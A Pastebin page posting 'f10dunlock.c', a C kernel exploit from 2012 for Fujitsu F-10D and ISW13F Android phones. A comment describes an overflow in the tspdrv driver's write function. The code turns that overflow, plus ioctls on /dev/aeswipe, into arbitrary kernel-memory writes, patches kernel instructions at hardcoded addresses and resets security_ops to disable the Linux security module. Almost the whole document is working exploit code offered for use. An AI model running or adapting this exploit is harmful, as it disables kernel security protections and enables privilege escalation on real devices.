goroh_kun

f10dunlock.c

Aug 18th, 2012
2,618
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 8.38 KB | None | 0 0
  1. /*
  2.  *  Copyright (c) 2012 goroh_kun
  3.  *
  4.  *  2012/08/31
  5.  */
  6.  
  7. #include <stdio.h>
  8. #include <stdint.h>
  9. #include <stdlib.h>
  10. #include <unistd.h>
  11. #include <fcntl.h>
  12. #include <errno.h>
  13. #include <sys/stat.h>
  14. #include <sys/mman.h>
  15. #include <sys/ioctl.h>
  16.  
  17. void memdump(char* addr, int num)
  18. {
  19.     int i, j;
  20.     int n = (num + 15) / 16;
  21.     for (j=0; j<n; j++){
  22.         printf("%08x : ", addr);
  23.         for(i=0; i<16; i++){
  24.             printf("%02x ", *addr++);
  25.         }
  26.         addr -= 16;
  27.         for(i=0; i<16; i++){
  28.             if (*addr>=0x20 && *addr<0x80) {
  29.                  printf("%c", *addr);
  30.             } else {
  31.                 printf(".");
  32.             }
  33.             addr++;
  34.         }
  35.         printf("\n");
  36.     }
  37. }
  38.  
  39. #if 0
  40. ########################################################################################
  41. There is vulnerability in function "write" in kernel/drivers/tspdrv/tspdrv.c.
  42.  
  43. static ssize_t write(struct file *file, const char *buf, size_t count, loff_t *ppos)
  44. {
  45. ....
  46.     /* Copy immediately the input buffer */
  47.     if (0 != copy_from_user(g_cWriteBuffer, buf, count))
  48.     {
  49.         /* Failed to copy all the data, exit */
  50.         DbgOut((KERN_ERR "tspdrv: copy_from_user failed.\n"));
  51.         return 0;
  52.     }
  53.  
  54.     /* Check buffer size */
  55.     if ((count <= SPI_HEADER_SIZE) || (count > SPI_BUFFER_SIZE))
  56.     {
  57.         DbgOut((KERN_ERR "tspdrv: invalid write buffer size.\n"));
  58.         return 0;
  59.     }
  60. ....
  61. }
  62.  
  63.  
  64.   We have to check the parameter "count" *before* using copy_from_user.
  65.   Or if we set the parameter larger than g_cWriteBuffer size, it occurs memory overflow.
  66.   In this case, I override a variable named g_lptsAuthContext by using this vulnerability.
  67.   The variable is located like bellow.
  68.  
  69. g_cWriteBuffer    : 0xc09ae698
  70. g_CalibrateBuffer : 0xc09ae6d0
  71. g_lptsAuthContext : 0xc09ae6ec
  72.  
  73. ########################################################################################
  74. #endif
  75.  
  76. #define BUF_SIZE  (0xc09ae6f0 - 0xc09ae698)
  77. #define TSPDRV_MAGIC_NUMBER                 0x494D4D52
  78. void set_lptsAuthContext(unsigned int addr)
  79. {
  80.   char buf[BUF_SIZE] = {0};
  81.   buf[BUF_SIZE - 4] = addr & 0xff;
  82.   buf[BUF_SIZE - 3] = (addr >> 8) & 0xff;
  83.   buf[BUF_SIZE - 2] = (addr >> 16) & 0xff;
  84.   buf[BUF_SIZE - 1] = (addr >> 24) & 0xff;
  85.   int fdtsp = open("/dev/tspdrv", O_RDWR);
  86.   int ret = ioctl(fdtsp, TSPDRV_MAGIC_NUMBER, 0);
  87.   ret = write(fdtsp, buf, BUF_SIZE);
  88.   close(fdtsp);
  89. }
  90.  
  91. /*
  92. ...
  93. 100001a0 : -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- ................
  94. 100001b0 : -- -- -- -- -- -- -- -- 00 00 00 00 aa aa aa aa ................
  95. 100001c0 : -- -- -- -- -- -- -- -- -- -- -- -- 01 00 00 00 ................
  96. ...
  97. 10000250 :*xx xx xx xx -- -- -- -- -- -- -- -- -- -- -- -- ................
  98. ...
  99. * pid is stored on xx xx xx xx, when /dev/aeswipe is opened.
  100. * an ioctl AUTH_IOCTL_SET_TIMEOUT value is stored on aa aa aa aa.
  101. */
  102.  
  103. typedef unsigned int uint32;
  104. typedef int int32;
  105. typedef struct _tag_TrIoctlHeader
  106. {
  107.     uint32 uiSize;          /* INOUT: Total size of the structure including header.         */
  108.                             /*        On input it contains the size of the input buffer.    */
  109.                             /*        On output it contains the size of the output buffer.  */
  110.  
  111.     uint32 uiOperationId;   /*    IN: ID of the desired operation. Needed for TransportIOCL */
  112.                             /*        or on systems where everything is tunneled through a  */
  113.                             /*        single IOCTL. See TrOperationId.                      */
  114.  
  115.     int32  retCode;         /*   OUT: Return code of the IOCTL.                             */
  116. } tsTrIoctlHeader;
  117.  
  118. typedef struct _tag_TrTimeoutIoctlBuffer
  119. {
  120.     tsTrIoctlHeader sHeader;   /* INOUT: Header.         */
  121.     uint32          uiTimeout; /*    IN: Timeout value.  */
  122. } tsTrTimeoutIoctlBuffer;
  123. #define AUTH_IOCTL_BASE ('x')
  124. #define AUTH_IOCTL_SET_TIMEOUT          _IOWR( AUTH_IOCTL_BASE, 10, tsTrTimeoutIoctlBuffer )
  125.  
  126. void mempatch0(unsigned addr)
  127. {
  128.   char buf[0x300] = {0};
  129.   set_lptsAuthContext((unsigned)buf);
  130.   int fdaes = open("/dev/aeswipe", O_RDWR);
  131.   set_lptsAuthContext(addr - 0x1b8);
  132.   close(fdaes);
  133.   set_lptsAuthContext(0);
  134. }
  135.  
  136. void mempatch(int fd, unsigned addr, unsigned value)
  137. {
  138.   tsTrTimeoutIoctlBuffer param = {0};
  139.   param.sHeader.uiSize = sizeof(param);
  140.   param.uiTimeout = value;
  141.  
  142.   set_lptsAuthContext(addr - 0x1bc);
  143.   ioctl(fd, AUTH_IOCTL_SET_TIMEOUT, &param);
  144.   usleep(10000);
  145.   set_lptsAuthContext(0);
  146. }
  147.  
  148. static const unsigned original_code[] = {
  149.   0xe24cb004, // SUB             R11, R12, #4
  150.   0xe1a06001, // MOV             R6, R1
  151. };
  152.  
  153. static const unsigned patched_code[] = {
  154.   0xe5900084, // LDR             R0, [R0,#private] ; file->private
  155.   0xe89da8f0, // LDMFD           SP, {R4-R7,R11,SP,PC}
  156. };
  157.  
  158. static int is_isw13f = 0;
  159. static int is_newf10d = 0;
  160. unsigned int get_private(int fd, int fd2, unsigned aesbuf)
  161. {
  162.   char buf[0x10] = {0};
  163.   unsigned int ret = 0;
  164.  
  165.   if(is_isw13f){
  166.     mempatch(fd2, 0xc043f9e8, patched_code[0]); // module_entry_write+0x8
  167.     mempatch(fd2, 0xc043f9ec, patched_code[1]); // module_entry_write+0xc
  168.   }else{
  169.     if(is_newf10d){
  170.       mempatch(fd2, 0xc044d238, patched_code[0]); // module_entry_write+0x8
  171.       mempatch(fd2, 0xc044d23c, patched_code[1]); // module_entry_write+0xc
  172.     }else{
  173.       mempatch(fd2, 0xc044d20c, patched_code[0]); // module_entry_write+0x8
  174.       mempatch(fd2, 0xc044d210, patched_code[1]); // module_entry_write+0xc
  175.     }
  176.   }
  177.  
  178.   set_lptsAuthContext((unsigned)aesbuf);
  179.   ret = write(fd, buf, 1);
  180.   usleep(10000);
  181.  
  182.   if(is_isw13f){
  183.     mempatch(fd2, 0xc043f9e8, original_code[0]); // module_entry_write+0x8
  184.     mempatch(fd2, 0xc043f9ec, original_code[1]); // module_entry_write+0xc
  185.   }else{
  186.     if(is_newf10d){
  187.       mempatch(fd2, 0xc044d238, original_code[0]); // module_entry_write+0x8
  188.       mempatch(fd2, 0xc044d23c, original_code[1]); // module_entry_write+0xc
  189.     }else{
  190.       mempatch(fd2, 0xc044d20c, original_code[0]); // module_entry_write+0x8
  191.       mempatch(fd2, 0xc044d210, original_code[1]); // module_entry_write+0xc
  192.     }
  193.   }
  194.   return ret;
  195. }
  196.  
  197. int main(int argc, char** argv)
  198. {
  199.   char buf[0x300] = {0};
  200.   int recovery_context = 1;
  201.   unsigned int context_addr = 0;
  202.   if(argc >= 2 && atoi(argv[1])==1){
  203.     printf("use ISW13F address\n");
  204.     is_isw13f = 1;
  205.   }
  206.   if(argc >= 2 && atoi(argv[1])==2){
  207.     printf("use new F-10D address\n");
  208.     is_newf10d = 1;
  209.   }
  210.  
  211.   int fdaes = open("/dev/aeswipe", O_RDWR);
  212.   printf("fdaes = %d\n", fdaes);
  213.   if(fdaes < 0){
  214.     printf("open aeswipe error, so try to disable LSM without recovery g_lptsAuthContext\n");
  215.     recovery_context = 0;
  216.   }
  217.  
  218.   set_lptsAuthContext((unsigned)buf);
  219.   int fdaes2 = open("/dev/aeswipe", O_RDWR);
  220.   set_lptsAuthContext(0);
  221.   printf("fdaes2 = %d\n", fdaes2);
  222.  
  223.   //AuthTransportIOControl disable AbortCheck
  224.   if(is_isw13f){
  225.     mempatch0(0xc043e2fc); // 0xc043e2fc, 0xc043e310 = 0
  226.     mempatch0(0xc043e300); // 0xc043e300, 0xc043e314 = 0
  227.     mempatch0(0xc043e304); // 0xc043e304, 0xc043e318 = 0
  228.     mempatch0(0xc043e308); // 0xc043e308, 0xc043e31c = 0
  229.     mempatch0(0xc043e30c); // 0xc043e30c, 0xc043e320 = 0
  230.   }else{
  231.     if(is_newf10d){
  232.       mempatch0(0xc044bb4c); // 0xc044bb4c, 0xc044bb60 = 0
  233.       mempatch0(0xc044bb50); // 0xc044bb50, 0xc044bb64 = 0
  234.       mempatch0(0xc044bb54); // 0xc044bb54, 0xc044bb68 = 0
  235.       mempatch0(0xc044bb58); // 0xc044bb58, 0xc044bb6c = 0
  236.       mempatch0(0xc044bb5c); // 0xc044bb5c, 0xc044bb70 = 0
  237.     }else{
  238.       mempatch0(0xc044bb14); // 0xc044bb14, 0xc044bb28 = 0
  239.       mempatch0(0xc044bb18); // 0xc044bb18, 0xc044bb2c = 0
  240.       mempatch0(0xc044bb1c); // 0xc044bb1c, 0xc044bb30 = 0
  241.       mempatch0(0xc044bb20); // 0xc044bb20, 0xc044bb34 = 0
  242.       mempatch0(0xc044bb24); // 0xc044bb24, 0xc044bb38 = 0
  243.     }
  244.   }
  245.  
  246.   if(recovery_context){
  247.     context_addr = get_private(fdaes, fdaes2, (unsigned)buf);
  248.     printf("file->private = %08x\n", context_addr);
  249.     if(context_addr >= 0xffff0000) context_addr = 0;
  250.     if(context_addr <= 0xc0000000) context_addr = 0;
  251.   }
  252.  
  253.   if(is_isw13f){
  254.     mempatch(fdaes2, 0xc09e5290, 0xc09308ec); // security_ops = default_security_ops
  255.   }else{
  256.     mempatch(fdaes2, 0xc098ed48, 0xc08da184); // security_ops = default_security_ops
  257.   }
  258.  
  259.   set_lptsAuthContext((unsigned)buf);
  260.   close(fdaes2);
  261.  
  262.   set_lptsAuthContext(context_addr);
  263.   close(fdaes);
  264.   return 0;
  265. }
Advertisement
Add Comment
Please, Sign In to add comment